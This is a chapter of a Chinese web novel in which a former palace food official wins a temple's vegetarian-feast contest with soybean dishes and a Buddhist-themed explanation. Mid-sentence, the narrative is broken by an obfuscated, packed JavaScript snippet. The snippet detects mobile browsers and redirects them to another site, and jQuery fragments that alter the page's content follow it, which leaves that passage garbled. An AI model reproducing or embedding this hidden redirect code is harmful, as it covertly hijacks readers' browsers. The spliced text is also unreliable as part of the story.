8. 第 8 章

作品:《尚食局女官下岗再就业

    人说“春非我春,秋非我秋”,食事亦然。


    若要组一套素斋单子,样子要清、淡、雅、真,还要兼具色、香、味、形,佛家讲究依时取用,节俭为本,最好以时令食材为主,注重四时五味调和,顺应自然,离欲清净。


    原是那日金明池畔碧玉团清雅可口,大相国寺小沙弥买了回去,不仅分与香客,竟连素日严肃的监寺都连连颔首。


    恰逢浴佛节将至,今年又与往年不同。


    因去岁秋雨连绵,寺内一处偏殿屋瓦渗漏,梁椽有些朽坏,需得大修,这修缮之事,少不得要麻烦许多将作监的官员。


    说来也巧,将作监的某位丞大人,其夫人笃信佛法,早言明要随夫同来参与浴佛节祈福。


    顶头上司来了,下属自然也得随从,更不知有多少同僚、家眷。


    这一来,大相国寺的方丈和监寺便有些犯了难。


    出家人讲究清心寡欲,平日所食斋饭,主食不过米饭、蒸饼,汤羹是豆腐羹,主菜则多一大锅融合当季蔬菜、豆制品的“罗汉菜”,求个饱腹养身。


    这等饮食,用于修身养性自是极好,可用来招待朝廷官员及女眷,未免过于简慢,恐失了礼数,也难显诚心。


    为了这事,寺中已去京中素有声名的酒楼相看,欲寻外援承办斋席,于是,小沙弥来订青团百只,用以待客。


    李怀珠听小沙弥娓娓道来,心思活络开——大相国寺乃东京首刹,浴佛节更是盛事,若能承办其部分斋宴,不仅是笔生意,更是扬个小名的机会,其中名望人情,远比银钱更重要。


    就跟送上门的活广告似的,浴佛节这么大的流量,不蹭白不蹭,于是便问了浴佛节素宴的规格要求。


    六菜一汤两甜点,要能体现待客之诚,不堕朝廷官员与夫人们的颜面。


    “小师父,你可知寺里去请了哪几家酒楼?”


    “酒楼……”小沙弥挠光溜溜的脑袋,“听说潘楼、樊楼和岳风楼都去了,方丈与监寺师父们,过几日便要一同品评,择其优者。”


    三大酒楼皆是汴京翘楚,竞争可谓激烈。


    “小师父,”李怀珠莞尔,“承蒙贵寺看得起碧玉团。这素宴比试,不知我能否也凑个热闹,试上一试?”


    小沙弥眼睛一亮,他极喜欢李怀珠做的青团,觉得比街市卖的果子都清雅适口,当即拍手:“好呀!女施主手艺这般好,我这就回去禀明师父!”


    小沙弥对这事很是上心,不过半日就回报——方丈与监寺都应允了。


    李怀珠瞧着小沙弥,就像看着一个移动的五星好评,她喜欢小孩儿圆圆红红的脸蛋,特意包了几个新式枣泥青团,让他带着边走边吃。


    小沙弥又蹦跳着走了。


    制单子这事需要灵感,和做企划案一样,什么都得照顾到。


    她知这素宴比的远不止是手艺,寺庙不比打火店热闹,更非宫中奢靡之地,讲究的是清净朴素。盛具器皿,银器是绝不可用的,过于华美的彩瓷也显突兀,顶天了就是些木质食盒、粗陶砂锅、素瓷碗。做出来的菜式,样子就得往这上靠,既要体现诚意,又不能失了佛门庄重,万一弄个浓油赤酱或造型奇巧的,那就是不搭对,混不吝,成了四不像。


    而且,这等场合,菜做得再好,若说不出个所以然,没有个好立意,也难打动那些精通佛理的方丈监寺。


    说到底,一半靠实力,一半靠口才,双管齐下才有胜算。


    想清了,李怀珠出门找灵感。


    正当晌午,街边食肆人都不多——这倒正常,大宋多是两餐制,除了些赶路的、做苦力的,很少有人正经吃晌午饭。


    她进了家干净小店,点了一碟清炒豆苗,一碟香煎豆干,一碗笋蕨馄饨。


    菜色寻常,无非就是市井间最常见的几样东西。


    豆苗火候过了,软塌塌失了魂儿,豆干倒是煎得很透,焦香里还嚼得出豆子本来的滋味。


    慢慢吃着,恰好瞧见对面一个小贩。


    那摊主刚卖完热豆浆,正忙着收拾,又掀开另一边的纱布,露出雪白细嫩的豆腐,准备开始下午的买卖。旁边还摆着成摞的酱色豆干,细绳上晾着豆皮,角落木桶里还有大豆腐渣,并几排新生的豆苗。


    福至心灵只是一刹那,李怀珠思忖道——


    豆,真是个妙物。


    *


    三日后,大相国寺专门辟出一处偏屋试菜。


    李怀珠提着食盒早早到来,院落里已是一片忙碌。


    另外三家酒楼来的皆是经验丰富的大师傅,带着帮厨和随从,里里外外十几个食盒,阵势十足,见李怀珠一个年轻女子,布衣荆钗,却清丽神气,皆露出几分好奇。


    ——不知这是哪家的厨娘替大师傅跑腿?


    不多时,方丈与监寺缓步而来,皆是神色平和,宝相庄严。


    见到李怀珠,方丈含笑颔首,面色肃杀的监寺亦随之行礼,态度并无区别。


    众人入内,各自将菜肴摆出。


    霎时间,简素的案面异彩纷呈。


    樊楼师父的盛具或是精瓷,或是琉璃盏,菜品更是琳琅满目,以素仿荤的“素鹅”、“素火腿”,雕琢成莲花、宝相状的象形菜,色彩绚丽,摆盘繁复,看得出是下了大工夫,要将这素宴做得富丽堂皇。


    方丈与监寺入内,一一观瞧、品尝,面上笑意慈悲,眼神中却未见多少惊喜,尤其看到那酷似荤腥的菜色时,监寺眉头蹙了一下。


    轮到李怀珠,食盒层层打开,露出里面的碗碟。


    并无炫目的技艺、华美的器皿,唯有几道菜蔬静静陈着,色泽清雅,宛若一幅淡墨写意的山水画卷。


    她先奉上“山家三脆”——嫩笋、小菇、青豆苗,碧白相映,脆嫩交织,宛若山间清风。


    监寺尝了一口,微微点头。


    接着是春卷。


    宋时春卷多用薄面皮包裹春季时蔬,或蒸或炸,取其迎春之意。而李怀珠做的这道,却是用新鲜紫苏叶替代面皮,卷着渍过的藕片、胡瓜,间以豆腐皮,紫、白、碧、黄,错落有致,宛如“簇饤”拼盘,佐以姜醋汁,酸甜开胃,风味别致。


    方丈观其色,眼中露出欣赏之色。


    汤羹选了雪霞羹,热菜还有煨香干,豆干厚切,与白崧、芸豆高汤慢煨,口感韧而醇厚。冬菇炖春笋,汤头有淡淡甜味。改良过的罗汉菜似焕然一新,十种时令鲜蔬分层码放,与从前的大锅菜相去甚远,仿佛众生和合,颇具禅意。


    但要数最合大家心意的,还要数荷塘小炒。


    大宋虽然饮食业发展颇为全面,但炒菜还属新兴技艺,只有少数大酒楼才有尝试,李怀珠的荷塘小炒用了鲜藕、菱角、荸荠、芦笋急火快炒,保持了食材的脆嫩清甜。


    这般清爽利落的炒菜出现在素斋中,连见多识广的监寺都微微动容。


    最后,主食“金屑饼”上桌,外表其貌不扬,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888284|192112||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    让几位大师傅暗自交换了眼色。


    监寺尝了一口,外皮微酥,内里软糯,带着独特的豆香和野菜的清新,口感颇为特别,绝非寻常面饼可比。


    “李娘子,此饼用料似乎非同一般,不知是何物制成?”监寺难得主动开口。


    见甲方满意,心下亦是一喜,不枉她为了这饼试了多次。


    李怀珠福身敛首:“回监寺大师,此饼主料,乃是滤取豆浆后所余的豆渣。”


    “豆渣?”监寺微讶。


    是啊,新鲜豆渣挤干水分,与少量面粉、切碎的雪里蕻和野菜、细盐混合,团成小饼,鏊子上慢火烙至两面金黄的——豆渣饼。


    “施主巧思,化腐朽为神奇……”一旁静观的方丈也拈起一块,“只是,不知施主为何会想到以此物入馔?”


    李怀珠一笑,觉得自己跟读研时答辩一样,只不过评委从教授换成高僧,课题从设计变成理论。


    “大师谬赞。小女子只是觉得,豆之一物,从豆苗可为蔬,到豆浆可作饮,凝之成豆腐,压之成豆干,晾之成豆皮……其用至广。若独独将这豆渣弃之不用,未免可惜。万物有灵,既生于天地,当各得其所。”


    监寺闻言,才想到这几道菜中囊括小娘子所言数种做法,竟是有始有终,叹道:“原来如此——惜物爱物,确是美德!”


    方丈循循引导:“施主此言,颇含禅理。依你看来,这豆之一物,可还有何深意?”


    见方丈态度鼓励,心知到了关键时刻,成与不成,就看着一锤子买卖了。


    李怀珠温言笑道,“小女子拙见,豆质朴素,却能容纳百味,颇有‘无我’、‘包容’之意;而其从萌芽到尽用,生生不息,岂不也暗合‘众生平等’、‘物尽其用’的佛法真谛?一豆虽小,或可见天地心。”


    她这番话,将寻常食材的利用,自然而然拔高到了佛法哲理的层面,却又紧扣眼前实物,毫不空泛。


    屋内静了片刻。


    方丈与监寺相视一眼,皆看到对方眼中的了然与欣赏。


    “善哉!”方丈抚掌轻叹,笑容绽开,“施主能有此心,见解非凡,倒让老衲想起一人……莫非……”


    他没问下去,但李怀珠已然明白,大概是听闻过她被黜落之事。


    李怀珠既不承认也不否认,只是笑道,“大师慧眼。”


    “阿弥陀佛。”方丈不再多言,与监寺交换了个眼神。


    监寺随即宣布:“李娘子慧心巧思,深合我佛门本意。此次浴佛节素宴,便有劳娘子了。”


    “小女定当尽力。”


    尘埃落定。


    那三位大师傅收拾家伙离去,走到院外,议论间,也拼凑出了李怀珠的来历。


    有人咂舌:“宫里出来的就是不一般,这口条,豆腐渣都能说出花来!”


    另一人接话:“可不是么。前有泰安伯爷给她扬名,如今连大相国寺都请她。小娘子手艺灵、脑子更灵,将来怕是了不得啊!”


    末了,不知谁嘀咕了一句:“幸好……瞧着还没自立门户的本钱。不然,就凭她这本事,咱汴京怕是要变天了……”


    几人回想方才情景,竟都默默点头,深以为然。


    屋内,尚不知自己被寄予“厚望”亦或视为“威胁”的李怀珠,与僧人敲定细节,踏出殿门。


    春日暖阳拂面,深深吸口气,只觉浑身舒畅。


    ——搞定。现场答辩,高分通过!